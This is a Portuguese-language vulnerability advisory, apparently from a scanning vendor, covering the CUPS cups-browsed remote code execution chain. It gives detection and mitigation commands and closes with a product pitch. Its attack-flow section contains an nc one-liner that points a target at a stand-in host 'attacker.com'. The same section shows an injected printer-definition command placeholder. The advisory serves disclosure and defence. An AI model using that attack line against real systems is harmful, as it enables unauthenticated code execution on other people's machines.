CVE-2024-47176: CUPS Linux RCE — 300K sistemas expostos à Internet
Uma cadeia de quatro vulnerabilidades CUPS (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177) permite a execução remota de código não autenticado em sistemas Linux executando o cups-browsed. Mais de 300,000 sistemas foram expostos à Internet no momento da divulgação. Afeta Ubuntu, Debian, Red Hat, Fedora e a maioria das distribuições Linux por padrão.
| Atributo | Valor |
|---|---|
| CVE primário | CVE-2024-47176 |
| CVEs relacionados | CVE-2024-47076, -47175, -47177 |
| Vetor CVSS | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-20: Validação de entrada inadequada |
| Publicado | 26 de setembro de 2024 |
| Exploração | Público PoC — verificação oportunista observada |
O que é CVE-2024-47176?
CUPS (Common Unix Printing System) é a infraestrutura de impressão padrão em Linux e macOS. O cups-browsed daemon escuta na porta UDP 631 anúncios de impressora na rede. CVE-2024-47176 é o ponto de entrada em uma cadeia de quatro vulnerabilidades: cups-browsed aceita pacotes UDP de qualquer fonte, incluindo a Internet, sem autenticação.
Ao enviar um pacote UDP criado para a porta 631, um invasor pode fazer com que o sistema da vítima se conecte novamente a uma “impressora” controlada pelo invasor. A impressora maliciosa fornece um arquivo PPD (PostScript Printer Description) criado contendo comandos incorporados. Quando a vítima imprime qualquer coisa, esses comandos são executados em seu sistema.
A cadeia de ataque completa
| CVE | Componente | Descrição |
|---|---|---|
| CVE-2024-47176 | cups-browsed | Vincula-se ao UDP 0.0.0.0:631, aceita pacotes de qualquer IP |
| CVE-2024-47076 | libcupsfilters | Valores de atributos IPP não limpos ao criar arquivos PPD |
| CVE-2024-47175 | libppd | A geração de arquivo PPD não limpa atributos IPP |
| CVE-2024-47177 | cups-filters | FoomaticRIPCommandLine permite execução arbitrária de comandos |
Fluxo de ataque
# Step 1: Attacker sends UDP packet to target:631 echo "0 3 http://attacker.com:8631/printers/evil" | nc -u -w1 target.com 631 # Step 2: cups-browsed fetches IPP attributes from attacker's server # Attacker's server returns malicious printer attributes # Step 3: libcupsfilters/libppd creates PPD with unsanitized attacker data # PPD contains: *cupsFilter: "application/vnd.cups-pdf 0 [attacker-cmd]" # Step 4: Next time any user prints (or admin triggers test print): # FoomaticRIP executes the command from the PPD # Command runs as the lp user (often has significant filesystem access)
⚠ Nenhuma interação do usuário após a configuração
O invasor só precisa enviar um pacote UDP para estabelecer a impressora maliciosa. A exploração é então acionada sempre que qualquer usuário do sistema tenta imprimir – incluindo trabalhos de impressão de rotina que podem acontecer horas ou dias depois. Nos servidores, um invasor também pode desencadear a exploração remotamente, enviando um trabalho de impressão para a impressora maliciosa recém-instalada.
Escopo do Impacto
No momento da divulgação, as varreduras Shodan e Censys identificaram aproximadamente 300,000 sistemas expostos à Internet com a porta UDP 631 aberta. A vulnerabilidade afeta praticamente todas as principais distribuições Linux que são enviadas com cups-browsed:
- Ubuntu (cups-browsed habilitado por padrão nas edições desktop)
- Debian e derivados
- Red Hat Enterprise Linux / CentOS / Rocky Linux
- Fedora
- Arco Linux
- A maioria das distribuições de desktop Linux
macOS não é afetado porque usa sua própria pilha de impressão. No entanto, macOS também usa CUPS internamente, portanto, certas configurações podem ser afetadas por problemas relacionados.
Detecção
# Check if cups-browsed is running systemctl status cups-browsed ps aux | grep cups-browsed # Check if UDP 631 is exposed ss -ulnp | grep 631 netstat -ulnp | grep 631 # Check for unexpected printer additions lpstat -a cat /etc/cups/printers.conf | grep -i "deviceuri\|remote" # Look for suspicious PPD files find /etc/cups /var/cache/cups -name "*.ppd" -newer /etc/cups/cups-browsed.conf # Check logs for unexpected IPP connections grep "cups-browsed" /var/log/cups/error_log | grep "Adding\|New printer"
Mitigação
- Pare e desative o cups-browsed se não for necessário:
sudo systemctl stop cups-browsed sudo systemctl disable cups-browsed
- Aplicar patches: cups-browsed 2.0.1 e cups-filters 2.0.1 resolvem as vulnerabilidades. Ubuntu, Debian e Red Hat lançaram patches poucos dias após a divulgação.
- Bloqueie a porta UDP 631 no firewall: Impedir que pacotes externos cheguem ao cups-browsed
sudo iptables -A INPUT -p udp --dport 631 -j DROP sudo ufw deny 631/udp
- Remova o FoomaticRIP se não for necessário: A etapa final do RCE requer foomatic-rip. Removê-lo (se não forem usadas impressoras Foomatic) elimina a capacidade de execução de código.
- Auditar configurações da impressora: Remova todas as entradas de impressora não reconhecidas do
/etc/cups/printers.conf
💡 A maioria dos servidores não é vulnerável: As instalações de servidor do Linux normalmente não instalam o cups-browsed por padrão. O maior risco está nas estações de trabalho e máquinas de desenvolvimento Linux. No entanto, qualquer sistema Linux configurado para impressão deve ser auditado.
Capacidade de detecção KENSAI
- Varredura de porta UDP: KENSAI identifica serviços UDP 631 expostos à Internet em sua superfície de ataque externa
- Impressão digital de serviço: Identifica a versão do CUPS e a presença do cups-browsed a partir das respostas da rede
- Verificação de rede interna: O scanner interno do KENSAI identifica a execução do cups-browsed em estações de trabalho e servidores internos do Linux
- Detecção de versão do pacote: A varredura baseada em agente identifica versões vulneráveis de pacotes CUPS em endpoints Linux
- Orientação de remediação: Instruções de correção passo a passo com comandos específicos do sistema operacional para sua distribuição
Quantos sistemas Linux em seu ambiente foram expostos pelo cups-browsed?
KENSAI verifica sua superfície de ataque interna e externa em busca de vulnerabilidades CUPS em todos os sistemas Linux. Obtenha a imagem completa em minutos.
Encontre a exposição CUPS →